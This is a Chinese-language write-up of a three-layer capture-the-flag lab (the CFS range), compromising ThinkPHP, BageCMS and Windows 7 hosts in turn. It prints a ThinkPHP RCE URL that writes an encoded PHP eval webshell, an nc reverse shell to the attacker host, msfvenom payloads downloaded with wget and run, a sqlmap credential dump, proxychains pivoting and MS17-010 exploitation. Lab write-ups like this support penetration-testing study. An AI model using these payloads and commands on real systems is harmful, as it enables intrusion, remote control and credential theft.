前言
这个靶机是TeamsSix前辈出的一个靶场,偏向于CTF,但是我认为它更适合真实环境!CFS靶场就是三层靶机的内网渗透,通过一层一层的渗透,获取每一层的Flag进行拿分!如果想要获取这个靶场的话,大家可以在我们Gcow安全团队成员的公众号"saulGoodman"回复"CFS"获取OVA文件下载地址!
环境搭建
打开靶机的时候需要对它IP进行简单的更改!我在VMware设置了虚拟网络,其中桥接(VMnet0)我设置成和我PC是同一块网卡!(具体选择那块网卡就在网络适配器选项那里选择自己用的网卡)因为你不选择网卡的话VMware会自动选择一块网卡,很有可能导致桥接无法上网!
然后我又设置了VMnet1(仅主机模式)、VMnet2(仅主机模式),这两个个网络是不出外网的,也就是当做我们的内网主机!其中它们的子网地址分别是:
VMnet1: 子网IP:192.168.22.0子网掩码:255.255.255.0VMnet2:子网IP:192.168.33.0子网掩码:255.255.255.0
设置好虚拟网络之后我们打开靶机还需要设置一下他们的IP!这里我要编辑一下Target1的IP和子网掩码:
ipconfig ens37 192.168.22.11 netmask 255.255.255.0注释:ens37 是我们的仅主机模式(VMnet1)的网卡
设置完Target1我们还需要设置Target2的网络:
ipconfig ens33 192.168.22.22 netmask 255.255.255.0ipconfig ens38 192.168.33.22 netmask 255.255.255.0
而Targert3就不需要设置了,它已经被设置为192.168.33.33这个静态IP了:
设置完之后我们就可以对这个靶机开始渗透了!
攻击拓扑图
外部打点
先对Targer1进行信息搜集端口扫描:
nmap -A -T5 192.168.1.103 --script=vuln
root@liuwx:~# nmap -A -T5 192.168.1.103 --script=vulnStarting Nmap 7.80 ( https://nmap.org ) at 2020-02-18 00:14 ESTPre-scan script results: | broadcast-avahi-dos: | Discovered hosts: | 224.0.0.251 | After NULL UDP avahi packet DoS (CVE-2011-1002). |_ Hosts are all up (not vulnerable). Stats: 0:09:24 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan NSE Timing: About 98.77% done; ETC: 00:24 (0:00:00 remaining) Nmap scan report for 192.168.1.103 Host is up (0.0012s latency).Not shown: 993 closed ports PORT STATE SERVICE VERSION 21/tcp open ftp Pure-FTPd |_clamav-exec: ERROR: Script execution failed (use -d to debug) |_sslv2-drown: 22/tcp open ssh OpenSSH 7.4 (protocol 2.0) |_clamav-exec: ERROR: Script execution failed (use -d to debug) | vulners: | cpe:/a:openbsd:openssh:7.4: | CVE-2018-159195.0https://vulners.com/cve/CVE-2018-15919 |_ CVE-2017-159065.0https://vulners.com/cve/CVE-2017-1590680/tcp open http nginx |_clamav-exec: ERROR: Script execution failed (use -d to debug) |_http-csrf: Couldn't find any CSRF vulnerabilities. |_http-dombased-xss: Couldn't find any DOM based XSS. |_http-stored-xss: Couldn't find any stored XSS vulnerabilities. | http-vuln-cve2011-3192: | VULNERABLE: | Apache byterange filter DoS | State: VULNERABLE | IDs: CVE:CVE-2011-3192 BID:49303 | The Apache web server is vulnerable to a denial of service attack when numerous | overlapping byte ranges are requested. | Disclosure date: 2011-08-19 | References: | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-3192 | https://www.tenable.com/plugins/nessus/55976 | https://seclists.org/fulldisclosure/2011/Aug/175 |_ https://www.securityfocus.com/bid/49303111/tcp open rpcbind 2-4 (RPC #100000) |_clamav-exec: ERROR: Script execution failed (use -d to debug) | rpcinfo: | program version port/proto service | 100000 2,3,4 111/tcp rpcbind | 100000 2,3,4 111/udp rpcbind | 100000 3,4 111/tcp6 rpcbind |_ 100000 3,4 111/udp6 rpcbind888/tcp open http nginx |_clamav-exec: ERROR: Script execution failed (use -d to debug) |_http-csrf: Couldn't find any CSRF vulnerabilities. |_http-dombased-xss: Couldn't find any DOM based XSS. |_http-stored-xss: Couldn't find any stored XSS vulnerabilities.3306/tcp open mysql MySQL (unauthorized) |_clamav-exec: ERROR: Script execution failed (use -d to debug) |_mysql-vuln-cve2012-2122: ERROR: Script execution failed (use -d to debug)8888/tcp open http Ajenti http control panel |_clamav-exec: ERROR: Script execution failed (use -d to debug) |_http-csrf: Couldn't find any CSRF vulnerabilities. |_http-dombased-xss: Couldn't find any DOM based XSS. | http-enum: |_ /robots.txt: Robots file | http-slowloris-check: | VULNERABLE: | Slowloris DOS attack | State: LIKELY VULNERABLE | IDs: CVE:CVE-2007-6750 | Slowloris tries to keep many connections to the target web server open and hold | them open as long as possible. It accomplishes this by opening connections to | the target web server and sending a partial request. By doing so, it starves | the http server's resources causing Denial Of Service. | | Disclosure date: 2009-09-17 | References: | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6750 |_ http://ha.ckers.org/slowloris/ |_http-stored-xss: Couldn't find any stored XSS vulnerabilities. MAC Address: 00:0C:29:5A:1C:5E (VMware) Device type: general purpose Running: Linux 3.X|4.X OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4 OS details: Linux 3.2 - 4.9 Network Distance: 1 hop
TRACEROUTE
HOP RTT ADDRESS
1 1.16 ms 192.168.1.103
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 566.01 seconds
扫描出来之后发现它开放了21(ftp)、22(ssh)、80(http)、111(RPC)、888(http)、3306(Mysql)、8888(http)这些端口服务!
其中扫出来了好多漏洞,例如:
CVE-2011-1002(Avahi Dos攻击)Avahi是Linux下常用的类DNS服务。它可以帮助主机在没有DNS服务的局域网中,发现基于Zeroconf协议的设备和服务。该工具工作于UDP 5353端口。在0.6.29版本之前,该服务存在CVE-2011-1002漏洞。Nmap的broadcast-avahi-dos脚本会寻找本地网络的DNS服务器,并发送空的UDP包。如果存在该漏洞,就可以导致服务器奔溃。
CVE-2018-15919(OpenSSH信息泄露漏洞)其中CVE-2018-15919影响自2011年9月6日发布的5.9版本到今年8月24日发布的最新版本7.8。CVE-2018-15473则影响自1999年以来至今年7.7版本中所有版本,远程攻击者可利用漏洞猜测在OpenSSH服务器上注册的用户名。
CVE-2017-15906,7.6之前的OpenSSH中sftp-server.c中的process_open函数不能正确阻止只读模式下的写操作,这使攻击者可以创建零长度文件。
CVE-2011-3192(Apache HTTP Server CVE-2011-3192拒绝服务漏洞)Apache HTTP Server是一款开源的流行的HTTPD服务程序。当处理包含大量Ranges头的HTTP请求时,ByteRange过滤器存在一个错误,攻击者可以向服务器发送特制HTTP请求,消耗大量内存,造成应用程序崩溃。
CVE-2007-6750,Apache HTTP服务器1.x和2.x允许远程攻击者通过部分HTTP请求导致拒绝服务(守护进程中断),如Slowloris所示,这与2.2.15之前版本中缺少mod_ReqTimeout模块有关。
这些扫描出来的漏洞没什么可利用的价值,我们还是先看看它的web吧:
ThinkPHP-V5.0-RCE-Getshell
打开后发现它是ThinkPHP框架,版本是V5.0,这个时候我想起了它存在一个RCE(远程命令执行),于是我利用网上的POC对它进行试探发现存在命令执行:
紧接着我写入一句话到cmd.php:
http://192.168.1.103/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo "<?php @eval($_POST['cmd']);?>" > cmd.php
写入成功是成功了,但是我们的$_POST被过滤掉了,估计有防护机制:
对于这种过滤,我们可以使用一些编码来绕过,例如URL编码、BASE64编码...等等,我使用的是Base64编码:
编码前:<?php @eval($_POST["cmd"]);?>编码后:PD9waHAgQGV2YWwoJF9QT1NUWyJjbWQiXSk7Pz4=POC: echo "PD9waHAgQGV2YWwoJF9QT1NUWyJjbWQiXSk7Pz4=" | base64 -d > cmd.php
随后重新写入一句话到cmd.php获取到webshell:
http://192.168.1.103/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo "PD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk7Pz4="|base64 -d > cmd.php
这里还有另一种方法!既然它可以执行命令那么我们直接让他反弹shell到我们的nc就可以了:
KALI:nc -lnvp 6666
目标:nc 192.168.1.104 6666 -e /bin/bash
这个时候成功获取shell!随后我用python获取一枚bash:
python -c 'import pty;pty.spawn("/bin/bash")'
杀入第一层内网Target1
获取到shell后在网站的/www/wwwroot/ThinkPHP/public目录下获取到了一个Flag:
接着查看robots.txt文件得到第二个Flag:
随后在系统根目录下拿到了第三个Flag:
杀入第二层内网Target2
首先我是先查看了系统内核,发现他是2019年,x86位的:
那么我还是先用MSF生成一个可执行文件来反弹一枚shell吧:
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.104 LPORT=4444 -f elf > 4444.elf
生成完后我们需要把木马上传到目标主机,我是用python打开了Web服务:
python -m SimpleHTTPServer 8090
然后在目标主机中使用wget下载我们的木马:
wget http://192.168.1.104:8090/4444.elf
最后给4444.elf一个可执行权限并运行成功上线:
chmod +x 4444.elf./4444.elf
上线之后我查看ifconfig发现他有五个网卡:
meterpreter > ifconfig Interface 1 ============ Name : lo Hardware MAC : 00:00:00:00:00:00 MTU : 65536 Flags : UP,LOOPBACK IPv4 Address : 127.0.0.1 IPv4 Netmask : 255.0.0.0 IPv6 Address : ::1 IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:: IPv6 Address : ::1 IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff: Interface 2 ============ Name : ens33 Hardware MAC : 00:0c:29:5a:1c:5e MTU : 1500 Flags : UP,BROADCAST,MULTICAST IPv4 Address : 192.168.1.103 IPv4 Netmask : 255.255.255.0 IPv6 Address : fe80::1be:3f23:9cb6:8513 IPv6 Netmask : ffff:ffff:ffff:ffff:: Interface 3 ============ Name : ens37 Hardware MAC : 00:0c:29:5a:1c:68 MTU : 1500 Flags : UP,BROADCAST,MULTICAST IPv4 Address : 192.168.22.128 IPv4 Netmask : 255.255.255.0 IPv4 Address : 192.168.22.11 IPv4 Netmask : 255.255.255.0 IPv6 Address : fe80::28fe:91ab:c417:d360 IPv6 Netmask : ffff:ffff:ffff:ffff:: Interface 4 ============ Name : virbr0 Hardware MAC : 52:54:00:5a:99:42 MTU : 1500 Flags : UP,BROADCAST,MULTICAST Interface 5 ============ Name : virbr0-nic Hardware MAC : 52:54:00:5a:99:42 MTU : 1500 Flags : BROADCAST,MULTICAST meterpreter >
其中可用的网卡就是这两个:
紧接着我使用MSF中的这个命令获取当前的网段:
run get_local_subnets
发现它有两个网段:一个是192.168.1.10/24,另一个是192.168.22.0/24!随后我只给后者添加一个路由表(因为前者的内网主机有我内网的主机,就不添加了!):
run autoroute -s 192.168.22.0/24
添加成功后我需要对它的内网进行扫描,看看内网中有多少存活的主机!我用到的扫描模块是这个:
auxiliary/scanner/portscan/tcp
扫描出来发现192.168.22.22这台主机存活,肯定有人会说192.168.22.11这台主机不是也存活吗?实际上192.168.22.11这台主机就是我们的WEB服务器!所以说我们就怼192.168.22.22这台主机!
紧接着后渗透我使用了socks4代理,用到的模块是这个:
auxiliary/server/socks4a
然后我们还需要设置一下proxychain代理:
vim /etc/proxychains.conf
设置完后我们就可以对它内网进行扫描了!首先是对它进行端口扫描看看它开放了那些端口服务:
proxychains nmap -Pn -sT 192.168.22.22注释:(因为socks4不支持ICMP协议,所以我们就不用对它使用ping,所以就使用-Pn 参数,而-sT是使用TCP扫描)
由上图可知,它开放了21(ftp)、22(ssh)、80(http)、3306(mysql)、8888(sun-answerbook)这些端口服务!先从 80的web服务开始查看:
BageCMS-SQL注入
打开后发现网站CMS是BageCMS,我还是先对它进行目录扫描吧,看看有什么目录文件:
proxychains dirb http://192.168.22.22
扫描得到了一个robots.txt文件,打开后发现了他的目录文件、后台地址和CMS信息:
http://192.168.22.22/robots.txt
尝试了弱口令后没有成功!紧接着我查看了它的主页源码发现了一个提示信息:
Hint:SQL注入点:/index.php?r=vul&keyword=1
既然靶场作者都提示说是SQL注入,那么直接上Sqlmap一梭哈获取到了后台账号和密码hash:
proxychains sqlmap -u "http://192.168.22.22/index.php?r=vul&keyword=1" -p keyword -D bagecms -T bage_admin -C username,password –dump Database: bagecms Table: bage_admin [1 entry] +----------+-------------------------------------------+ | username | password | +----------+-------------------------------------------+ | admin | 46f94c8de14fb36680850768ff1b7f2a (123qwe) | +----------+-------------------------------------------+
BageCMS-后台Getshell
拿到后台账号密码登录进去后得到了一个Flag:
flag{eS3sd1IKarw}
接下来就要获取webshell了,我是在后台模板这里找到了可以编辑PHP文件的地方:
随后编辑index.php写入一句话到里面:
然后再设置一下Proxifier的代理规则:
这样就可以使用蚁剑连接webshell了:
紧接着我在upload目录找到了Flag:
flag{23ASfqwr4t2e}
我们再使用MSF生成一个木马让它上线吧,这里我使用的是正向Payload(因为在内网中它无法访问到外网,所以就只能我们去连接它):
msfvenom -p linux/x64/meterpreter/bind_tcp LPORT=5555 -f elf > 5555.elf
然后打开我们的MSF(这里需要使用代理打开,不然反弹不回来shell)
proxychains msfconsole
杀入第三层内网Target3
反弹回来之后我查看ifconfig发现了两个可用的网卡:
然后获取当前网卡可用的网段:
run get_local_subnets
从上图可以看到,他有两个网段,第一个是192.168.22.0/24,第二个是192.168.33.0/24,我们重复之前的操作,添加一个路由表到后者:
run autoroute -s 192.168.33.0/24
添加成功后我们使用之前那个扫描模块,设置好PORTS、RHOSTS:
扫描完后发现发开放了445和3389端口,因此判断有可能是Windows系统!
为了验证,我使用了这个模块去探测它的操作系统:
auxiliary/scanner/smb/smb_version
[+] 192.168.33.33:445 - Host is running Windows 7 Ultimate SP1 (build:7601) (name:WIN-POVQ8FCTTO4)
果然是Windwos 的系统,而且版本是Windows 7 Ultimate SP1!既然它是Windwos 7系统,而且开放了445端口,有没有可能会存在MS17-010(永恒之蓝)呢?
Windwos7-MS17-010提权拿到Flag
紧接着我使用了MSF的模块对它进行探测看看是否存在永恒之蓝,我使用的辅助模块是这个:
auxiliary/scanner/smb/smb_ms17_010
由上图可知,MSF检测出192.168.33.33这台主机存在MS17-010(永恒之蓝)!那么我们就可以对它进行利用,接下来使用这个利用模块:
exploit/windows/smb/ms17_010_psexec
注意一下,我们选择MS17_010这个利用模块后,我们还需要设置一下Payload,因为它默认的是reverse_tcp(反向),而它主机不能出外网所以就只能使用正向(bind_tcp)我们去连接它!
设置好参数后运行exploit获取到一枚Meterpreter:
由上图可知,我们已经是系统权限了!最后就是找到Flag文件:
最终也是在Administrator用户的Desktop桌面找到了Flag.txt!